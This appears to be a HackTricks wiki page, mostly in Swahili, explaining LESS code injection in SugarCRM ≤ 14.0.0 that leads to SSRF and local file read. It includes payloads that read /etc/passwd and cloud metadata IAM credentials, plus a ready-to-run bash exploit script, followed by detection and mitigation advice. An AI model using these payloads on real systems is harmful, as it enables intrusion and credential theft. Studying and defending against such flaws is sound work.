LESS Code Injection leading to SSRF & Local File Read
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Overview
LESS ni pre-processor maarufu wa CSS inayoongeza mabadiliko, mixins, kazi na amri yenye nguvu @import
. Wakati wa uundaji injini ya LESS itafanya kupata rasilimali zilizotajwa katika amri za @import
na kuingiza ("inline") maudhui yao katika CSS inayotokana wakati chaguo la (inline)
linapotumika.
Wakati programu inachanganya ingizo linalodhibitiwa na mtumiaji katika mfuatano ambao baadaye unachambuliwa na mkusanyiko wa LESS, mshambuliaji anaweza kuingiza msimbo wa LESS wa kiholela. Kwa kutumia @import (inline)
mshambuliaji anaweza kulazimisha seva kupata:
- Faili za ndani kupitia itifaki ya
file://
(ufichuzi wa taarifa / Ujumuishaji wa Faili za Ndani). - Rasilimali za mbali kwenye mitandao ya ndani au huduma za metadata za wingu (SSRF).
Teknolojia hii imeonekana katika bidhaa halisi kama SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
endpoint).
Exploitation
- Tambua parameter ambayo imeingizwa moja kwa moja ndani ya mfuatano wa mtindo unaoshughulikiwa na injini ya LESS (mfano
?lm=
katika SugarCRM). - Funga taarifa ya sasa na ingiza amri mpya. Msingi wa kawaida ni:
;
– inamaliza tamko la awali.}
– inafunga block ya awali (ikiwa inahitajika).
- Tumia
@import (inline) '<URL>';
kusoma rasilimali za kiholela. - Kwa hiari ingiza alama (
data:
URI) baada ya kuagiza ili kurahisisha uchimbaji wa maudhui yaliyopatikana kutoka kwa CSS iliyokusanywa.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Maudhui ya /etc/passwd
yataonekana katika jibu la HTTP kabla ya alama ya @@END@@
.
SSRF – Metadata ya Wingu
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC ya Otomatiki (mfano wa SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detection
- Angalia majibu ya
.less
au.css
yanayozalishwa kwa dinamikali yanayojumuisha vigezo vya uchunguzi visivyo safishwa. - Wakati wa ukaguzi wa msimbo, tafuta ujenzi kama
"@media all { .preview { ... ${userInput} ... } }"
uliopitishwa kwa kazi za LESS render. - Jaribio la kutumia mara nyingi linajumuisha
@import
,(inline)
,file://
,http://169.254.169.254
, n.k.
Mitigations
- Usipitishwe data isiyoaminika kwa LESS compiler.
- Ikiwa thamani za dinamikali zinahitajika, safisha/vitakasa vizuri (mfano, punguza kwa alama za nambari, orodha za kibali).
- Zima, inapowezekana, uwezo wa kutumia
(inline)
imports, au punguza protokali zinazoruhusiwa kuwahttps
. - Hifadhi utegemezi kuwa wa kisasa – SugarCRM ilirekebisha tatizo hili katika toleo 13.0.4 na 14.0.1.
Real-World Cases
Product | Vulnerable Endpoint | Impact |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
References
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.